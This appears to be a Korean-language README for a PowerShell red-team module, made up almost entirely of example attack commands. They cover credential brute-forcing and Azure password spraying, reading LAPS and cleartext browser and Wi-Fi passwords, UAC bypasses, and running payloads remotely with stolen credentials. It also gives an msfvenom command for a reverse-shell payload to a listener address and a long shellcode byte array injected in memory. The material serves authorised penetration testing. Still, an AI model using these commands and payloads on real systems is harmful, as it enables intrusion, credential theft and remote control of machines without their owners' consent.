
레드 팀원이 작전 중 사용할 수 있는 PowerShell 함수 모음
레드 팀 구성원이 컴퓨터에서 데이터를 수집하거나 대상에 접근하는 데 사용할 수 있는 PowerShell 함수 모음입니다. RedTeamEnum 모듈에 포함된 명령어에 대한 ps1 파일을 추가했습니다. 이를 통해 원하는 명령어 하나만 쉽게 찾아 사용할 수 있습니다. 전체 모듈을 원한다면 RedTeamEnum 디렉토리와 내용을 장치에 다운로드한 후 다음 작업을 수행하세요.
C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
# 이 명령은 모듈을 쉽게 가져올 수 있는 위치로 복사합니다. OneDrive 동기화를 사용하는 경우 $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum을 대신 사용해야 할 수 있습니다.
C:\PS> Import-Module -Name RedTeamEnum -Verbose
# 이 명령은 모듈의 모든 명령을 가져옵니다.
C:\PS> Get-Command -Module RedTeamEnum
# 이 명령은 모듈의 모든 명령을 나열합니다.
C:\PS> Convert-Base64 -Value "Convert me to base64!" -Encode
C:\PS> Convert-Base64 -Value "Q29udmVydCBtZSB0byBiYXNlNjQh" -Decode
C:\PS> Convert-StringToHash -String "Convert me to base64!"
C:\PS> Convert-StringToHash -String "Password123" -Encoding UTF8 -Algorithm MD5
# 위 두 예제 모두 문자열 Password123을 MD5 해시 값으로 변환합니다.
C:\PS> Convert-SID -Username tobor
# 위 예제는 tobor의 SID 값을 반환합니다.
C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
# 위 예제는 SID 값을 해당 사용자 이름으로 변환합니다.
C:\PS> Test-BruteForceZipPassword -PassFile 'C:\Users\USER\Downloads\Applications\pass.txt' -Path 'C:\Users\USER\Downloads\Applications\KiTTY.7z' -ZipExe 'C:\Program Files\7-Zip\7z.exe'
# 이 예제는 pass.txt 파일의 비밀번호를 사용하여 암호로 보호된 KiTTY.7z 파일의 암호를 크랙합니다.
C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# 이 예제는 하나의 정의된 비밀번호를 원격 컴퓨터 DC01.domain.com의 admin 및 administrator 사용자 모두에 대해 WinRM over HTTPS를 사용하여 테스트하며, 각 시도 사이에 5분의 시간 간격을 둡니다.
C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
# 이 예제는 rockyou.txt의 모든 비밀번호를 users.txt 파일의 모든 사용자 이름에 대해 시도 간 지연 없이 테스트합니다.
C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects -Domain domain.com -Credential (Get-Credential)
# 위 명령은 domain.com의 반환 객체에 대한 모든 속성을 반환합니다.
#
C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
# 관리자로 실행하면 로컬 관리자 계정의 LAPS 비밀번호를 반환합니다.
#
C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like "user.samname"
# 참고: "-Detailed" 스위치를 포함하고 출력을 Where-Object로 파이프하면 속성이 반환되지 않습니다. 결과의 모든 속성을 표시하려면 아래 형식을 사용해야 합니다.
#
C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *
C:\PS> Get-NetworkShareInfo -ShareName C$
# 위 예제는 로컬 컴퓨터의 C$ 공유에 대한 정보를 반환합니다.
#결과
Name : C$
InstallDate :
Description : Default share
Path : C:\
ComputerName : TOBORDESKTOP
Status : OK
C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
# 위 예제는 3개의 원격 장치 DC01, DC02 및 10.10.10.1에서 NETLOGON, SYSVOL 및 C$를 검색하고 정보를 반환합니다.
C:\PS> Test-PrivEsc
C:\PS> Get-InitialEnum
C:\PS> Start-SimpleHTTPServer
8000 포트에서 HTTP 서버 열기
#또는
C:\PS> Start-SimpleHTTPServer -Port 80
# 80 포트에서 HTTP 서버 열기
C:\PS> Invoke-PortScan -IpAddress 192.168.0.1
C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
# 참고: 소스 매개변수는 IP 소스 라우팅 값이 "Yes"인 경우에만 작동합니다.
C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
# Count의 기본값은 1입니다.
C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple
# 아래 명령은 입력된 자격 증명을 사용하여 msf.exe 실행 파일을 tobor 사용자로 실행합니다.
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\msf.exe -Verbose
이 cmdlet은 로컬 컴퓨터의 파일을 원격 컴퓨터에서 실행하는 데에도 사용할 수 있습니다.
# 아래 명령은 입력된 자격 증명을 사용하여 DC01 및 DC02에서 tobor 사용자로 exploit.ps1 실행 파일을 WinRM을 통해 실행합니다.
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com"
# 아래 명령은 입력된 자격 증명을 사용하여 DC01 및 DC02에서 tobor 사용자로 exploit.ps1 실행 파일을 WinRM over HTTPS를 통해 실행합니다.
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com" -UseSSL
C:\PS> Invoke-FodHelperBypass -Program "powershell" -Verbose
# 또는
C:\PS> Invoke-FodHelperBypass -Program "cmd /c msf.exe" -Verbose
# 사용할 페이로드 생성
msfvenom -p windows/meterpreter/shell_reverse_tcp LHOST=192.168.137.129 LPORT=1337 -f powershell
리스너를 시작하고, 그 값을 "ShellCode" 매개변수에 사용한 후 명령을 실행하여 셸을 획득하세요. 이 작업에는 특정 메모리 보호 기능이 비활성화되어 있어야 합니다. 참고: ShellCode 변수 값 주위에 __큰따옴표가 없음__에 유의하세요. 이는 바이트 배열을 예상하기 때문입니다.
C:\PS> Invoke-InMemoryPayload -Payload 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x5,0x39,0xc0,0xa8,0x89,0x81,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x2,0x0,0x0,0x49,0xb8,0x63,0x6d,0x64,0x0,0x0,0x0,0x0,0x0,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0xd,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x1,0x1,0x48,0x8d,0x44,0x24,0x18,0xc6,0x0,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0xe,0x41,0xba,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5 -Verbose

Get-ClearTextPassword -All
위 명령은 cmdlet이 가능한 모든 결과를 반환합니다. 개별 위치도 검색할 수 있습니다. 예를 들어
Get-ClearTextPassword -AutoLogon
검색에서 두 개 이상의 위치를 정의할 수 있습니다. 예를 들어
Get-ClearTextPassword -WiFi -SNMP -Chrome -PasswordVault
Invoke-AzureEnum.ps1 -Path 'C:\Temp\enum.txt'
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!'
# 이 예제는 정의된 비밀번호를 정의된 사용자 이름 목록에 대해 테스트합니다.
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60
# 이 예제는 정의된 비밀번호를 정의된 사용자 이름 목록에 대해 테스트하며, 다음 로그인 시도 전에 60초 대기합니다.
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60 -RoundRobin
# 이 예제는 정의된 비밀번호를 정의된 사용자 이름 목록에 대해 라운드 로빈 방식으로 인증 시도를 수행하며, 각 시도 사이에 60초 대기합니다.
$UserNames = "[email protected]","[email protected]","[email protected]","[email protected]"
$UserNames | Invoke-AzurePasswordSpray -Passwd "Password123!" -RoundRobin
# 이 예제는 정의된 비밀번호를 정의된 사용자 이름 목록에 대해 라운드 로빈 방식으로 테스트합니다.
Test-KerberosDoubleHop -All
# 이 예제는 현재 로그인한 도메인 컨트롤러에서 Kerberos 이중 홉에 취약한 컴퓨터, 사용자 및 관리자 AD 개체를 확인하고 표시합니다.
Test-KerberosDoubleHop -Server DC01.domain.com -UserResults
# 이 예제는 WinRM을 사용하여 원격 도메인 컨트롤러 DC01.domain.com에서 Kerberos 이중 홉에 취약한 사용자 AD 개체를 표시합니다.
Test-KerberosDoubleHop -Server DC01.domain.com -UseSSL -AdminResults
# 이 예제는 WinRM over HTTPS를 사용하여 원격 도메인 컨트롤러 DC01.domain.com에서 Kerberos 이중 홉에 취약한 관리자 AD 개체를 표시합니다.
Test-KerberosDoubleHop -ComputerResults -AdminResults
# 이 예제는 현재 로그인한 도메인 컨트롤러에서 Kerberos 이중 홉에 취약한 컴퓨터 및 관리자 AD 개체를 확인하고 표시합니다.
Invoke-DccwUACBypass -Program "cmd /c start powershell"
# 이 예제는 DCCW UAC 우회 방법을 악용하여 관리자 권한으로 PowerShell을 엽니다.
Invoke-DccwUACBypass -Program "cmd /c start mfs.exe"
# 이 예제는 DCCW UAC 우회 방법을 악용하여 관리자 권한으로 msf.exe 페이로드를 실행합니다.
Enable-RDP
Test-BruteLocalUserCredential -Username Administrator -Passwd 'Password123!','Passw0rd1!'
# 이 예제는 두 개의 정의된 비밀번호를 Administrator 사용자 계정에 대해 테스트합니다.
Test-BruteLocalUserCredential -Username Administrator -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# 이 예제는 C:\Temp\passlist.txt 파일의 비밀번호를 Administrator 사용자 계정에 대해 테스트합니다.
$Users = (Get-LocalUser).Name
ForEach $U in $Users) {Test-BruteLocalUserCredential -Username $U -Passwd (Get-Content -Path C:\Temp\passlist.txt)}
# 이 예제는 비밀번호 목록을 모든 로컬 사용자 계정에 대해 테스트합니다.
Test-FTPCredential -Server FTP.domian.com -Username ftpuser -Passwd 'Password123','Passw0rd1!','password123!' -Port 21 -Protocol FTP
# 이 예제는 정의된 3개의 비밀번호를 FTP.domain.com의 FTP 서버에 있는 ftpuser 계정에 대해 포트 21에서 테스트합니다.
Test-FTPCredential -Server FTP.domian.com -Username ftpuser,admin -Passwd 'Password123','Passw0rd1!','password123!' -Protocol FTPS -Seconds 60
# 이 예제는 정의된 3개의 비밀번호를 FTP.domain.com의 FTP 서버에 있는 admin 및 ftpuser 계정에 대해 포트 21에서 테스트하며, 실패한 시도 사이에 60초 대기합니다.
Test-FTPCredential -Server FTP.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# 이 예제는 C:\Temp\passlist.txt의 비밀번호를 C:\Temp\userlist.txt 파일에 정의된 모든 사용자에 대해 FTP.domain.com의 FTP 서버에서 포트 21을 통해 테스트하며, 실패한 시도 사이에 1초 대기합니다.
Test-SQLCredential -Server sql.domian.com -Username sa -Passwd 'Password123','Passw0rd1!','password123!' -Port 1433
# 이 예제는 정의된 3개의 비밀번호를 sql.domain.com의 SQL 서버에 있는 sa 계정에 대해 포트 1433에서 테스트합니다.
Test-SQLCredential -Server sql.domian.com -Username sa,admin -Passwd 'Password123','Passw0rd1!','password123!' -Seconds 60
# 이 예제는 정의된 3개의 비밀번호를 sql.domain.com의 SQL 서버에 있는 admin 및 sa 계정에 대해 포트 1433에서 테스트하며, 실패한 시도 사이에 60초 대기합니다.
Test-SQLCredential -Server sql.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# 이 예제는 C:\Temp\passlist.txt의 비밀번호를 C:\Temp\userlist.txt 파일에 정의된 모든 사용자에 대해 sql.domain.com의 SQL 서버에서 포트 1433을 통해 테스트하며, 실패한 시도 사이에 1초 대기합니다.
Start-Listener, Start-Bind 및 Invoke-ReversePowerShell에 대한 자세한 내용은 https://github.com/tobor88/ReversePowerShell을 참조하세요.